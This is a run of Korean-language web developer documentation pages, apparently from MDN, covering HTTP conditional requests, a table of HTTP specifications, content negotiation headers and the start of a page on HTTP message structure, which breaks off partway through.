리소스가 변경되었다면, 요청이 조건부가 아니었고 클라이언트가 이 새로운 리소스를 사용하는(그리고 그것을 캐시하는) 경우처럼, 서버는 리소스의 새로운 버전과 함께, `200` `OK` 응답을 회신합니다.

![In the case where the resource was changed, it is sent back as if the request wasn't conditional.](/ko/docs/Web/HTTP/Conditional_requests/httpcache3.png)

서버 측에서 검사기를 설정하는 것외에도, 이 메커니즘은 투명합니다: 모든 브라우저가 캐시를 관리하고 있으며 그런 조건부 요청을 웹 개발자가 해야할 특별한 조치없이 보내게 됩니다.

### 부분 다운로드의 통합

파일들의 부분적인 다운로드는 이전 동작을 계속하게 이어주는 HTTP의 기능으로, 이미 받아놓은 정보를 유지함으로써 대역폭과 시간을 절약해줍니다.

![A download has been stopped and only partial content has been retrieved.](/ko/docs/Web/HTTP/Conditional_requests/httpresume1.png)

부분적인 다운로드를 지원하는 서버는 `Accept-Ranges` 헤더를 보냄으로써 이를 알립니다. 그렇게 되면, 클라이언트는 아직 전송받지 못한 범위와 함께 `Ranges` (en-US)을 전송하여 다운로드를 이어나갈 수 있습니다.

![The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.](/ko/docs/Web/HTTP/Conditional_requests/httpresume2.png)

이 원칙은 간단한데, 한 가지 잠재적인 문제점이 있습니다: 다운로드된 리소스가 두 개의 다운로드 사이에 수정될 경우, 수신받던 범위는 리소스의 두 개의 서로 다른 버전과 상응하게 될 것이며 최종적인 문서는 오염되게 될 것입니다.

이것은 방지하기 위해, 조건부 요청이 사용됩니다. 범위에 대해, 이를 할 수 있는 두 가지 방법이 존재합니다. 좀 더 유연한 방법은 `If-Modified-Since`과 `If-Match` (en-US)을 사용하는 것이며 서버는 전제 조건이 실패할 경우 오류를 반환하게 됩니다; 그러면 클라이언트는 다운로드를 처음부터 다시 시작하게 되는 것이죠.

![When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.](/ko/docs/Web/HTTP/Conditional_requests/httpresume3.png)

이 방법이 동작하긴 하지만, 문서가 변경된 경우 추가적인 응답/요청 교환을 필요로 합니다. 이것은 성능을 감소시키는데 HTTP는 이것을 피하기 위한 특별한 헤더를 가지고 있습니다: 바로 `If-Range`이죠.

![The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.](/ko/docs/Web/HTTP/Conditional_requests/httpresume4.png)

이 해결책이 좀 더 효과적이긴 한데 약간은 덜 유연하여(오로지 하나의 etag만이 조건 내에서 사용될 수 있습니다), 추가적인 유연성이 필요한 경우가 아주 드물게 있기도 합니다.

### 최적화된 잠금으로 업데이트 손실 문제 피하기

웹 애플리케이션에서 일반적인 동작은 원격 문서를 *갱신*하는 것입니다. 이것은 어떤 파일 시스템 혹은 소스 제어 애플리케이션에서든 매우 흔한 일인데, 원격 리소스 저장을 허용하는 어떤 애플리케이션이든 그러한 메커니즘을 필요로 합니다. 유사하게, 위키나 다른 CMS와 같은 일반적인 웹 사이트들도 그런 요구사항을 지니고 있습니다.

`PUT` 메서드를 이용해 당신은 이러한 것을 구현할 수 있습니다. 먼저 클라이언트는 원본 파일을 읽어들인 후 그것을 수정하고 최종적으로 서버로 수정된 파일을 내보냅니다.

![Updating a file with a PUT is very simple when concurrency is not involved.](/ko/docs/Web/HTTP/Conditional_requests/httplock1.png)

불행하게도, 계정의 동시실행 내로 들어가자마자 약간 예상치 못한 결과를 맞이하게 될 겁니다. 하나의 클라이언트가 리소스의 새로운 복사본을 지역적으로 수정하고 있는 동안에도, 두번째 클라이언트가 동일한 리소스를 내려받고 자신의 영역 내에서 동일한 작업을 할 수 있습니다. 그렇게 되면 매우 유감스러운 일이 발생하게 됩니다: 그들이 다시 커밋하게 됐을 때, 전송할 첫번째 클라이언트의 수정본은 다음의 전송에 의해 폐기되는데, 이는 두번째 클라이언트가 새로운 변경 사항을 알고 있지 못하기 때문입니다. 어떤 것이 받아들여질지에 대한 결정은 다른 쪽에게 알려지지 않겠지만, 어떤 클라이언트의 변경 사항이 유지될 지는 그들이 커밋하는 시점, 클라이언트 그리고 서버의 성능에 의해서도 달리지며, 클라이언트에서 문서를 수정하는 속도에 의해서도 달라지게 될 겁니다: 받아들여진 클라이언트의 변경 사항으로 모두 변경될 것입니다. 이것을 경쟁 상태라고 하며 감지하고 디버깅하기 어려운 불확실한 동작을 유발합니다.

![When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!](/ko/docs/Web/HTTP/Conditional_requests/httplock2.png)

두 클라이언트 중 하나를 불편하게 만들지 않고는 이를 해결할 수 있는 방법은 없습니다. 그러나 업데이트 손실과 경쟁 상태는 피하게 됩니다: 우리는 예측 가능한 결과와 클라이언트의 변경 사항이 거절된 경우 클라이언트가 그것을 알 수 있길 원합니다.

조건부 요청은 (대부분의 위키 혹은 소스 제어 시스템에 의해 사용되는) *최적화 잠금 알고리즘*을 구현할 수 있도록 합니다. 이런 아이디어는 모든 클라이언트들이 리소스의 복사본들을 갖고 로컬에서 그것을 수정하며 첫번째 클라이언트가 그 수정된 내용을 성공적으로 제출하고 나서 이제는 이전 버전이 된 리소스가 거절되도록 하여 모든 업데이트가 순차적으로 이루어질 수 있도록 하여 동시성을 제어할 수 있도록 해줍니다.

![Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.](/ko/docs/Web/HTTP/Conditional_requests/httplock3.png)

이것은 `If-Match` (en-US) 혹은 `If-Unmodified-Since` 헤더를 사용해 구현하게 됩니다. etag가 원본 파일과 일치하지 않거나 혹은 파일을 수신한 이후에 파일이 수정된 경우, 해당 변경 사항은 단순히 `412` (en-US) `Precondition Failed` 오류와 함께 거절될 것입니다. 그런 뒤에 오류를 다루는 것은 클라이언트에게 달려있므며, 현재 가장 최신의 버전으로부터 다시 시작하도록 사람에게 알려주는 방법 혹은 "diff"를 보여주고 변경된 내용을 유지하도록 선택할 수 있게 사람에게 도움을 주는 방법 등을 이용하도록 할 수 있습니다.

### 리소스의 첫번째 업로드 다루기

리소스의 첫번째 업로드는 이전 예제의 엣지 케이스입니다: 리소스 업데이트의 어떤 경우든지, 두 클라이언트가 업데이트를 동시에(혹은 거의 같은 시점에) 실행하려고 하는 경우는 경쟁 상태의 대상입니다. 이를 방지하기 위해, 조건부 요청을 사용할 수 있습니다: 어떤 etag든지 나타내는 `'*'`라고 하는 특별한 값을 `If-None-Match`에 추가하여, 리소스가 이전에 존재하지 않은 경우에만 요청이 성공하게 할 수 있습니다.

![Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.](/ko/docs/Web/HTTP/Conditional_requests/httpfirst.png)

`If-None-Match` 는 HTTP/1.1 호환 (혹은 그 이상의) 서버에서만 동작할 겁니다. 서버가 호환되는지 아닌지를 모르는 경우라면, 이를 확인하기 위해 리소스에 `HEAD` 요청을 해보는 것이 우선적으로 필요합니다.

결론
--

조건부 요청은 HTTP의 주요 특징이며 효율적이고 복잡한 애플리케이션을 만드는데 도움을 줍니다. 캐싱 혹은 다운로드 이어하기를 위해, 웹 마스터에게 요청해야 할 유일한 일은 서버를 정확하게 구성하도록 하는 것(어떤 환경 내에서 정확한 etag를 설정하는 것은 애매모호할 수 있습니다)이며, 웹 개발자는 브라우저가 올바른 조건부 요청을 서버하게 되므로 해야할 것이 아무것도 없습니다.

잠금 메커니즘에 대해서는, 반대로, 웹 개발자가 알맞은 헤더로 요청을 전송하도록 하는 일이 필요하며, 웹 마스터는 대부분의 경우 그것들을 검사하도록 하는 신뢰할 수 있는 애플리케이션을 만들어야 합니다.

두 경우 모두에 있어, 조건부 요청은 웹의 필수적인 기능입니다.


HTTP 리소스와 명세 - HTTP

HTTP 리소스와 명세
============

HTTP는 1990년 초에 처음으로 명세되었습니다. 확장성을 염두에 두고 설계하였고, 해를 거듭하면서 더 많은 추가 사항들이 세상에 나왔습니다; 이런 일로 많은 명세서를 통해 세상에 뿌려진 명세들이 나오게 되었습니다(실험되다가 폐기된 확장들 가운데에서도). 이 페이지에서는 HTTP와 관련해 의미가 있는 리소스들을 나열하고 있습니다.

| 명세 | 제목 | 상태 |
| --- | --- | --- |
| RFC 7230 | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | Proposed Standard |
| RFC 7231 | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Proposed Standard |
| RFC 7232 | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | Proposed Standard |
| RFC 7233 | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | Proposed Standard |
| RFC 7234 | Hypertext Transfer Protocol (HTTP/1.1): Caching | Proposed Standard |
| RFC 5861 | HTTP Cache-Control Extensions for Stale Content | Informational |
| RFC 7235 | Hypertext Transfer Protocol (HTTP/1.1): Authentication | Proposed Standard |
| RFC 6265 | HTTP State Management Mechanism *Defines Cookies* | Proposed Standard |
| Draft spec | Cookie Prefixes | IETF Draft |
| Draft spec | Same-Site Cookies | IETF Draft |
| RFC 2145 | Use and Interpretation of HTTP Version Numbers | Informational |
| RFC 6585 | Additional HTTP Status Codes | Proposed Standard |
| RFC 7538 | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) | Proposed Standard |
| RFC 7725 | An HTTP Status Code to Report Legal Obstacles | On the standard track |
| RFC 2397 | The "data" URL scheme | Proposed Standard |
| RFC 3986 | Uniform Resource Identifier (URI): Generic Syntax | Internet Standard |
| RFC 5988 | Web Linking *Defines the `Link` (en-US) header* | Proposed Standard |
| Experimental spec | Hypertext Transfer Protocol (HTTP) Keep-Alive Header | Informational (Expired) |
| Draft spec | HTTP Client Hints | IETF Draft |
| RFC 7578 | Returning Values from Forms: multipart/form-data | Proposed Standard |
| RFC 6266 | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) | Proposed Standard |
| RFC 2183 | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field *Only a subset of syntax of the `Content-Disposition` header can be used in the context of HTTP messages.* | Proposed Standard |
| RFC 7239 | Forwarded HTTP Extension | Proposed Standard |
| RFC 6455 | The WebSocket Protocol | Proposed Standard |
| RFC 5246 | The Transport Layer Security (TLS) Protocol Version 1.2 *This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.* | Proposed Standard |
| Draft spec | The Transport Layer Security (TLS) Protocol Version 1.3 *Once ready, this protocol will supersede TLS 1.2.* | IETF Draft |
| RFC 2817 | Upgrading to TLS Within HTTP/1.1 | Proposed Standard |
| RFC 7540 | Hypertext Transfer Protocol Version 2 (HTTP/2) | Proposed Standard |
| RFC 7541 | HPACK: Header Compression for HTTP/2 | On the standard track |
| RFC 7838 | HTTP Alternative Services | On the standard track |
| RFC 7301 | Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension *Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.* | Proposed Standard |
| RFC 6454 | The Web Origin Concept | Proposed Standard |
| Fetch | Cross-Origin Resource Sharing | Living Standard |
| RFC 7034 | HTTP Header Field X-Frame-Options | Informational |
| RFC 6797 | HTTP Strict Transport Security (HSTS) | Proposed Standard |
| Upgrade Insecure Requests | Upgrade Insecure Requests | Candidate Recommendation |
| Content Security Policy 1.0 | Content Security Policy 1.0 *CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard* | Obsolete |
| Microsoft document | Specifying legacy document modes\* *Defines X-UA-Compatible* | Note |
| RFC 5689 | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) *These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.* | Proposed Standard |
| RFC 2324 | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) | April 1st joke spec |
| RFC 7168 | The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA) | April 1st joke spec |
| HTML Living Standard | HTML *Defines extensions of HTTP for Server-Sent Events* | Living Standard |
| Reporting API | `Report-To` header | Draft |
| Draft spec | Expect-CT Extension for HTTP | IETF Draft |


Resources and URIs - HTTP

Resources and URIs
==================

HTTP는 브라우저 혹은 사용자 에이전트에게 인터넷 상 다른 리소스와의 통신을 허용합니다: 이를 위해 브라우저에는 자원의 신분(\*identity)\*와 위치(\*location)\*가 필요합니다. 이 두 비트의 정보는 URI로 설명됩니다.

웹 리소스 식별

URI와 웹에서의 자원 접근 방법

Data URIs

A specific kind of URIs, data URIs, embed the resource itself inside the identifier.

www 와non-www URL 중에서 선택하기

도메인에 접두사로 www을 사용해야할지 말지에 대한 조언을 제공합니다. 이 글에서는 선택에 대한 결과와 과정 또한 설명합니다.

MIME 타입

MIME 미디어 타입은 특정 자원이 어떤 종류의 문서인지 정의합니다. 이 글에서는 웹에서 사용할 수 있는 가장 유용한 MIME 타입과 구문을 제공합니다.

Complete list of MIME type

웹 개발자에게 유용한 포괄적인 MIME 타입 목록.

Separating identity and location of a resource: the Alt-Svc header

신분(\*identity)\*와 위치(*location)* 둘 다 URL에 기술되더라도 둘의 개념은 다르며 둘을 구분하는 것은 때때로 유용합니다.이 글에서는 `Alt-Svc` 헤더에 대해 소개합니다.


콘텐츠 협상 - HTTP

콘텐츠 협상
======

HTTP에서 콘텐츠 협상(Content negotiation)이란 동일한 URI에서 리소스의 서로 다른 버전을 제공하기 위해 사용하는 메커니즘으로, 사용자 에이전트가 사용자에게 제일 잘 맞는 것이 무엇인지(예를 들어, 문서의 언어, 이미지 포맷 혹은 컨텐츠 인코딩에 있어 어떤 것이 적절한지)를 명시할 수 있습니다.

콘텐츠 협상의 원칙
----------

우리는 특정 문서를 *리소스*라고 부릅니다. 클라이언트가 리소스를 내려받길 원할 경우, 그것의 URL을 사용하여 요청합니다. 서버는 리소스가 제공하는 여러 변형들 중 하나를 선택하기 위해 이런 URL을 사용하며 (각각의 변형을 *프레젠테이션*이라고 부릅니다) 클라이언트에게 해당 리소스의 특정 프레젠테이션을 반환합니다. 프레젠테이션들에 더해, 전체 리소스들은 특유의 URL을 가집니다. 리소스가 호출됐을 때 특정 프레젠테이션을 선택하는 방법은 *콘텐츠 협상*에 의해 결정되며 클라이언트와 서버 간의 협상에는 몇 가지 방식이 존재합니다.

![](/ko/docs/Web/HTTP/Content_negotiation/httpnego.png)

가장 잘 맞는 프레젠테이션의 결정은 다음 두 개의 메커니즘 중 하나를 통해 이루어집니다:

* 클라이언트가 보내는 특정 HTTP 헤더를 이용하는 방법(서버 주도 협상 혹은 주도적인 협상)으로, 특정 종류의 리소스에 대한 표준 협상 방법입니다.
* 서버에 의해 전달되는 `300` (다중 선택) 혹은 `406` (허용되지 않음) HTTP 응답 코드를 이용하는 방법(*에이전트 주도 협상* 혹은 *리액티브 협상*)으로, 폴백 메커니즘으로써 사용됩니다.

수년 간, *투명한 콘텐츠 협상*과 `Alternates` 헤더와 같은 다른 콘텐츠 협상 제안들이 제안되어 왔습니다. 그런 제안들은 관심을 끄는데 실패했고 결국 버려졌습니다.

서버 주도 콘텐츠 협상
------------

서버 주도 콘텐츠 협상 혹은 주도적인 협상에 있어서, 브라우저(혹은 사용자 에이전트라면 어떤 다른 종류든지)는 URL을 이용해 몇 개의 HTTP 헤더를 전송합니다. 이런 헤더들은 사용자의 우선적인 선택을 나타냅니다. 서버는 그것들을 힌트로써 사용하며 내부 알고리즘은 클라이언트로 서브하기 위한 최선의 컨텐츠를 선택하게 됩니다. 이 알고리즘은 서버 특유의 것이며 표준으로 정의된 것은 아닙니다. 예를 위해, Apache 2.2 협상 알고리즘을 참고하시기 바랍니다.

![](/ko/docs/Web/HTTP/Content_negotiation/httpnegoserver.png)

HTTP/1.1 표준은 서버 주도 협상을 시작하는 표준 헤더 목록(`Accept`, `Accept-Charset`, `Accept-Encoding`, `Accept-Language`)을 정의하고 있습니다. 엄밀히 말하자면 `User-Agent` (en-US)이 리스트 내에 없긴 하지만, 해당 헤더는, 좋은 관례가 아니라고 판단될지라도, 때때로 요청된 리소스의 특정 프레젠테이션을 전송하는데 사용되기도 합니다. 서버는 실제로 콘텐츠 협상에 있어 어떤 헤더가 사용될 지 (더 엄밀히 말하자면 연관된 응답 헤더) 가리키기 위해 `Vary` 헤더를 사용하므로 캐시는 최적으로 동작하게 됩니다.

이것과 더불어, *클라이언트 힌트*라고 부르는 헤더들을 이용 가능한 헤더 목록에 추가하려는 실험적인 제안도 존재합니다. 클라이언트 힌트는 사용자 에이전트가 실행 중인 기기의 종류가 무엇인지를 알려줍니다(예를 들어, 데스크톱 컴퓨터인지 모바일 기기인지)

서버 주도 콘텐츠 협상이 리소스의 특정 프레젠테이션에 동의하기 위한 가장 일반적인 방법이긴 하지만, 몇 가지 결점을 가지고 있습니다:

* 서버는 브라우저에 대한 전체적인 지식을 가지고 있지 않습니다. 클라이언트 힌트 확장이 있더라도, 서버는 브라우저의 수용 능력에 대한 완벽한 정보를 가지고 있진 않습니다. 클라이언트가 선택하는 리액티브 콘텐츠 협상과는 다르게, 서버 선택은 항상 다소 임의적입니다.
* 클라이언트에 의한 정보는 상당히 장황하며(HTTP/2 헤더 압축은 이런 문제를 완화시킵니다) 사생활 침해에 대한 위협을 가지고 있습니다(HTTP 핑거프린팅).
* 주어진 리소스의 몇몇 프레젠테이션이 전송되므로, 샤드된 캐시들은 덜 효율적이며 서버 구현은 좀 더 복잡해집니다.
### `Accept` 헤더

`Accept` 헤더는 에이전트가 처리하고자 하는 미디어 리소스의 MIME 타입을 나열합니다. 그것은 MIME 타입을 쉼표로 구분한 목록이며, 각각 품질 인자와 함께 나열되어 있으며, 다른 MIME 타입 사이의 상대적인 선호도를 나타내는 파라메터이기도 합니다.

`Accept` 헤더는 브라우저나 다른 에이전트에 의해 정의되며 HTML 페이지 혹은 이미지나 비디오 또는 스크립트들을 가져오는 것처럼, 컨텍스트에 따라 다양해질 수 있습니다: 주소창에 입력된 문서를 내려 받을 때와 `<img>`, `<video>` 혹은 `<audio>` (en-US) 엘리먼트를 통해 링크된 요소를 내려받을 때가 다릅니다. 브라우저는 그들이 판단하기에 가장 적절한 헤더의 값을 마음껏 사용할 것입니다. 일반적인 브라우저를 위한 기본적인 값 (en-US)의 전체 목록을 참고하기 바랍니다.

### `Accept-CH` 헤더
Experimental

**참고:** 이것은 *클라이언트 힌트*라고 불리는 **실험적인** 기술의 일부로 현재 크롬 46과 그 이후 버전에서만 구현되어 있습니다.

실험적인 `Accept-CH` (en-US)는 적합한 응답을 선택하기 위해 서버가 사용할 수 있는 설정 데이터를 나열합니다. 유효한 값들은 다음과 같습니다:

| 값 | 의미 |
| --- | --- |
| `DPR` | 클라이언트 기기의 픽셀 비율(ratio)을 가르킵니다. |
| `Viewport-Width` | CSS 픽셀에서의 레이아웃 뷰포트를 가리킵니다. |
| `Width` | 물리적인 픽셀에서의 리소스 너비를 가리킵니다(다시 말해 이미지의 고유 사이즈). |

### `Accept-Charset` 헤더

`Accept-Charset` 헤더는 사용자 에이너트가 어떤 종류의 캐릭터 인코딩을 이해할 수 있는지를 서버에게 알려줍니다. 전통적으로, 그것은 브라우저에 대해 각 지역을 위해 서로 다른 값을 설정하는데 사용되어 왔습니다. 예로 들자면, 서부 유럽 지역을 위해서는 `ISO-8859-1,utf-8;q=0.7,*;q=0.7`처럼 설정했었습니다.

UTF-8이 현재는 잘 지원되고 있고 인코딩 캐릭터로써 선호하는 방식이 되고 있는 상황에서, 더 적은 설정 기반의 엔트로피(불확실성)를 통해 좀 더 나은 개인정보 보호를 보장하기 위해, 대부분의 브라우저들은 `Accept-Charset` 헤더를 생략하고 있습니다. Internet Explorer 8, Safari 5, Opera 11 그리고 Firefox 10은 이 헤더를 폐기했습니다.

### `Accept-Encoding` 헤더

`Accept-Encoding` 헤더는 수용 가능한 (압축을 지원하는) 컨텐츠 인코딩을 정의하고 있습니다. 값은 인코딩 값의 우선 순위를 가리키는 q 인자 목록(예를 들어, : `br, gzip;q=0.8`)입니다. 기본값 `identity`는 가장 낮은 우선 순위입니다(선언된 것이 없는 경우).

HTTP 메시지 압축은 웹 사이트의 성능을 높이는 가장 중요한 방법이며, 전송 데이터의 크기를 줄여주며 가용할 수 있는 대역폭을 더 좋은 상태로 만들어줍니다; 브라우저는 항상 이 헤더를 전송하며 서버는 그것을 받아들이고 압축을 사용하도록 구성되어 있어야 합니다.

### `Accept-Language` 헤더

`Accept-Language` 헤더는 사용자가 선호하는 언어를 가리키는데 사용됩니다. 그것은 품질 인자를 가진 값 목록입니다(`"de, en;q=0.7`"). 기본 값은 사용자 에이전트의 그래픽 인터페이스 언어와 관련하여 설정되지만, 대부분의 브라우저들은 다른 언어 설정을 허용합니다.

구성 기반의 엔트로피의 증가로, 사용자 판별에 수정된 값을 사용할 수 없고, 그것을 수정하는 것은 권장되지 않으며 웹 사이트는 사용자의 실제 요구를 반영하기 위해 이 값을 신뢰할 수 없습니다. 이 헤더를 통해 감지된 언어가 좋지 않은 사용자 경험을 유발할 수도 있으므로 사이트 설계자는 해당 헤더 값을 맹신해서는 안 됩니다:

* 사이트 설계자들은 서버에서 선택한 언어가 아닌 다른 언어를 선택할 수 있는 방법을 제공해야 합니다. 예를 들자면 사이트 상에 언어 메뉴를 제공하는 것이죠. 대부분의 사용자 에이전트들은 사용자 인터페이스 언어에서 차용된 값을 `Accept-Language` 헤더의 기본값으로 제공하는데, 최종 사용자는, 예를 들어서 인터넷 카페 같은데서, 대게 어떻게 하는지 몰라서, 혹은 그것이 가능한지 몰라서, 그것을 수정하지 않습니다.
* 사용자가 서버가 선택한 언어를 재정의하고 나면, 사이트는 더 이상 언어 감지를 사용해서는 안되며 명시적으로 선택된 언어를 인정해야 합니다. 다시 말하자면, 사이트의 엔트리 페이지에서만 이 헤더를 사용하여 적당한 언어를 선택해야 합니다.
### `User-Agent` 헤더

**참고:** 컨텐츠를 선택함에 있어 이 헤더를 정당하게 사용한다고 할지라도, 사용자 에이전트가 지원하는 것이 무엇인지를 정의하려고 이 헤더에 의지하는 것은 나쁜 습관으로 간주됩니다.

`User-Agent` (en-US) 헤더는 요청을 전송하는 브라우저를 식별하게 해줍니다. 이 문자열은 공백 문자로 구분된 \*제품 토큰(product tokens)\*과 *코멘트* 목록을 포함합니다.

\*제품 토큰(product token)\*은 `Firefox/4.0.1`처럼 브라우저 이름 뒤에 '`/`'와 버전 번호가 오는 이름입니다. 사용자가 에이전트가 원하는 만큼 많은 수의 이름이 올 수 있습니다. *코멘트*는 둥근 괄호를 경계로 하는 자유 문자열입니다. 분명한 것은 괄호가 문자열 안에서는 사용될 수 없다는 것입니다. 코멘트의 내부 형식은 표준으로 정해진 것은 없으나 몇몇 브라우저들은 '`;`'로 구분하여 그 안에 몇 개의 토큰을 넣습니다.

### `Vary` 응답 헤더

이전에 봤던 클라이언트에 의해 전송되는 `Accept-*` 헤더들과는 달리, `Vary` HTTP 헤더는 웹 서버에 의한 응답 내로 전달됩니다. 이 헤더는 서버 주도 콘텐츠 협상의 과정 중에 서버에 의해 사용되는 헤더들의 목록을 나타냅니다. 이 헤더는 결정 기준 캐시를 알리기 위해 필요하므로 사용자에게 잘못된 컨텐츠를 제공하는 일을 방지하는 동안 캐시가 가동되게 허용하도록 캐시를 복제할 수 있습니다.

특별한 값인 '`*`'은 서버 주도 콘텐츠 협상이 적합한 컨텐츠 선택을 위해 헤더로 전달되지 않은 정보도 사용한다는 것을 의미합니다.

`Vary` 헤더는 HTTP 1.1 버전에서 추가되었으며 캐시를 적절하게 동작하도록 허용하는 일이 불필요합니다. 캐시는, 에이전트 주도 콘텐츠 협상과 함께 동작하도록 하기 위해, 전송된 컨텐츠를 선택하도록 서버에 의해 사용되었던 기준이 어떤 것인지 알 필요가 있습니다. 그런 방법으로, 캐시는 알고리즘을 재연할 수 있으며 서버에 추가적인 요청없이도 수용 가능한 컨텐츠를 직접 서브할 수 있게 될 것입니다. 확실히, 캐시는 무슨 요소가 뒤에 있는지 알 수 없으므로, '`*`' 와일드카드는 현재 일어나고 있는 일들로부터 캐시되는 것을 방지합니다.

에이전트 주도 협상
----------

서버 주도 협상은 몇 가지 불리한 점 때문에 고통을 줍니다: 그것은 확장하기가 용이하지 않습니다. 협상 내에서 사용하는 기능 당 한 가지 헤더가 존재해야 합니다. 만약 스크린 크기, 해상도 혹은 또 다른 치수를 사용하고자 한다면, 새로운 HTTP 헤더가 반드시 만들어져야 합니다. 헤더의 전송은 반드시 모든 요청 상에서 이루어져야 합니다. 이것은 몇몇 헤더들에 있어서는 그리 문제될 것은 아니지만, 그런 헤더들이 결국 증가하여, 메시지 사이즈가 성능에 악영향이 끼치는 상황이 올 수도 있습니다. 정확한 헤더가 전송되면 전송될수록, 불확실성도 더욱 더 전송되어, 좀 더 많은 HTTP 흔적과 그와 관련된 개인정보들이 남게 됩니다.

HTTP의 초창기부터, 프로토콜은 또 다른 협상 유형을 허용했습니다: *에이전트 주도 협상* 혹은 *리액티브 협상*. 이 협상에서, 애매모호한 요청과 맞닥뜨렸을 경우, 서버는 사용 가능한 대체 리소스들에 대한 링크를 포함하고 있는 페이지를 회신하게 됩니다. 사용자는 해당 리소스들을 표시하고 사용하려는 리소스를 선택하게 됩니다.

![](/ko/docs/Web/HTTP/Content_negotiation/httpnego3.png)

불행하게도, HTTP 표준은 그 과정을 쉽게 자동화하는 것을 막는, 사용 가능한 리소스 중에서 선택하도록 허용하는 페이지의 형식을 명시하지 않고 있습니다. 게다가 서버 주도 협상으로의 회귀로, 이 방법은 스크립팅, 특히 JavaScript 리다이렉션과 함께 거의 항상 사용됩니다: 협상 기준을 점검하고 난 뒤에, 스크립트는 리다이렉션을 실행합니다. 두번째 문제는 실제 리소스를 가져오는데 한 개 이상의 요청이 필요로 해서, 사용자에 대한 리소스 효용성이 떨어진다는 것입니다.


HTTP 메시지 - HTTP

HTTP 메시지
========

HTTP 메시지는 서버와 클라이언트 간에 데이터가 교환되는 방식입니다. 메시지 타입은 두 가지가 있습니다. 요청('request')은 클라이언트가 서버로 전달해서 서버의 액션이 일어나게끔 하는 메시지고, 응답('response')은 요청에 대한 서버의 답변입니다.

HTTP 메시지는 ASCII로 인코딩된 텍스트 정보이며, 여러 줄로 되어 있습니다. HTTP 프로토콜 초기 버전과 HTTP/1.1에서는, 클라이언트와 서버 사이의 연결을 통해 공개적으로 전달되었습니다. 이렇게 한 때 사람이 읽을 수 있었던 메시지는 HTTP/2에서는 최적화와 성능 향상을 위해, HTTP 프레임으로 나누어집니다.

웹 개발자, 또는 웹 마스터가 손수 HTTP 메시지를 텍스트로 작성하는 경우는 드뭅니다. 대신에 소프트웨어, 브라우저, 프록시, 또는 웹 서버가 그 일을 합니다. HTTP 메시지는 설정 파일(프록시 혹은 서버의 경우), API(브라우저의 경우), 혹은 다른 인터페이스를 통해 제공됩니다.

![사용자, 스크립트 또는 서버가 생성한 이벤트에서 HTTP/1.x msg가 생성되며, HTTP/2가 사용 중인 경우, HTTP/2 스트림으로 이진 프레임된 다음 전송됩니다.](/ko/docs/Web/HTTP/Messages/httpmsg2.png)

HTTP/2의 이진 프레이밍 메커니즘(binary framing mechanism)은 사용 중인 API나 설정 파일 등을 변경하지 않아도 되도록 설계 되었기 때문에, 사용자가 보고 이해하기 쉽습니다.

HTTP 요청과 응답의 구조는 서로 닮았으며, 그 구조는 다음과 같습니다.

1. 시작 줄('start-line')에는 실행되어야 할 요청, 또은 요청 수행에 대한 성공 또는 실패가 기록되어 있습니다. 이 줄은 항상 한 줄로 끝납니다.
2. 옵션으로 'HTTP 헤더' 세트가 들어갑니다. 여기에는 요청에 대한 설명, 혹은 메시지 본문에 대한 설명이 들어갑니다.
3. 요청에 대한 모든 메타 정보가 전송되었음을 알리는 빈 줄('blank line')이 삽입됩니다.
4. 요청과 관련된 내용(HTML 폼 콘텐츠 등)이 옵션으로 들어가거나, 응답과 관련된 문서가 들어갑니다. 본문의 존재 유무 및 크기는 첫 줄과 HTTP 헤더에 명시됩니다.

HTTP 메시지의 시작 줄과 HTTP 헤더를 묶어서 '요청 헤드(head)' 라고 부르며, 이와 반대로 HTTP 메시지의 페이로드는 '본문(body)'이라고 합니다.

![요청과 응답은 HTTP에서 공통 구조를 공유합니다](/ko/docs/Web/HTTP/Messages/httpmsgstructure2.png)

HTTP 요청
-------

### 시작 줄

HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라이언트에서 전송하는 메시지입니다. 시작 줄은 다음과 같이 세 가지 요소로 이루어져 있습니다.

1. 'HTTP 메서드'로, 영어 동사(`GET`, `PUT`,`POST`) 혹은 명사(`HEAD`, `OPTIONS`)를 사용해 서버가 수행해야 할 동작을 나타냅니다. 예를 들어, `GET`은 리소스를 클라이언트로 가져다 달라는 것을 뜻하며, `POST`는 데이터가 서버로 들어가야 함을 의미(리소스를 새로 만들거나 수정하기 위해, 또는 클라이언트로 돌려 보낼 임시 문서를 생성하기 위해)합니다.
2. '요청 타겟'은 주로 URL, 또는 프로토콜, 포트, 도메인의 절대 경로로 나타낼 수도 있으며 이들은 요청 컨텍스트에 의해 특정지어 집니다. 요청 타겟 포맷은 HTTP 메소드에 따라 달라집니다. 포맷에는 다음과 같은 것들이 있습니다.
    * 가장 일반적인 형식이고 'origin 형식'으로 알려진 절대 경로입니다. 이 형식은 끝에 `'?'`와 쿼리 문자열이 따라옵니다. `GET`, `POST`, `HEAD`, `OPTIONS` 메서드와 함께 사용합니다.
        + `POST / HTTP/1.1`
        + `GET /background.png HTTP/1.0`
        + `HEAD /test.html?query=alibaba HTTP/1.1`
        + `OPTIONS /anypage.html HTTP/1.0`
    * 'absolute 형식'으로 알려진 완전한 URL은 프록시에 연결하는 경우 대부분 `GET`과 함께 사용됩니다.
     `GET http://developer.mozilla.org/ko/docs/Web/HTTP/Messages HTTP/1.1`
